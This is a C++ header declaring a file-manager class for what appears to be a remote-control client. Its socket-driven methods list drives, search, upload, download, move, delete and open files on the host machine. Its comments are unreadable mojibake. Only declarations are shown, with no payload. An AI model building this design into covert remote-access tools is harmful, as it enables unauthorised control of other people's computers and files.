// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_

#pragma warning(disable : 4786)
#include <list>
using namespace std;

#include "../Manager.h"

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000


typedef struct 
{
	DWORD	dwSizeHigh;
	DWORD	dwSizeLow;
}FILESIZE;

typedef struct 
{
	char SearchFileName[100];
	char SearchPath[MAX_PATH];
	BOOL bEnabledSubfolder;
}FILESEARCH;

typedef struct 
{
	char lpExistingFileName[MAX_PATH]; //Ô­µØÖ·
	char lpNewFileName[MAX_PATH]; // Ä¿±êĿ¼
	BOOL bIsCopy;
}FILEMOVE;


class CFileManager : public CManager
{
public:

	CFileManager(CClientSocket *pClient);
	virtual ~CFileManager();

	void OnReceive(LPBYTE lpBuffer, UINT nSize);
	UINT SendDriveList();
	
	static bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
private:
	list <string> m_UploadList;
	UINT m_nTransferMode;
	char m_strCurrentProcessFileName[MAX_PATH]; // µ±Ç°ÕýÔÚ´¦ÀíµÄÎļþ
	__int64 m_nCurrentProcessFileLength; // µ±Ç°ÕýÔÚ´¦ÀíµÄÎļþµÄ³¤¶È
	bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
	bool UploadToRemote(LPBYTE lpBuffer);
	bool FixedUploadList(LPCTSTR lpszDirectory);
	void StopTransfer();
	UINT SendFilesList(LPCTSTR lpszDirectory);

	HANDLE m_hWorkThread;
	BOOL bIsStopSearch;
	FILESEARCH filesearch;

	void StopSearchTheard();
	void SendSearchFilesList(LPCTSTR str);
	static void WINAPI FindFileThread(LPVOID lparam );
    void FindFileInDir(char* rootDir,char* searchfilename,BOOL bEnabledSubfolder);

	bool DeleteDirectory(LPCTSTR lpszDirectory);
	UINT SendFileSize(LPCTSTR lpszFileName);
	UINT SendFileData(LPBYTE lpBuffer);
	void CreateFolder(LPBYTE lpBuffer);
	void Rename(LPBYTE lpBuffer);
	int	SendToken(BYTE bToken);

	void CreateLocalRecvFile(LPBYTE lpBuffer);
	void SetTransferMode(LPBYTE lpBuffer);
	void GetFileData();
	void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
	void UploadNext();

	bool MoveDirectory(LPBYTE lpBuffer, UINT nSize);
	bool MyMoveFile(LPBYTE lpBuffer, UINT nSize);
//	bool MyMoveDirectory(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,DWORD dwOffset ,bool bIsCopy);
};

#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)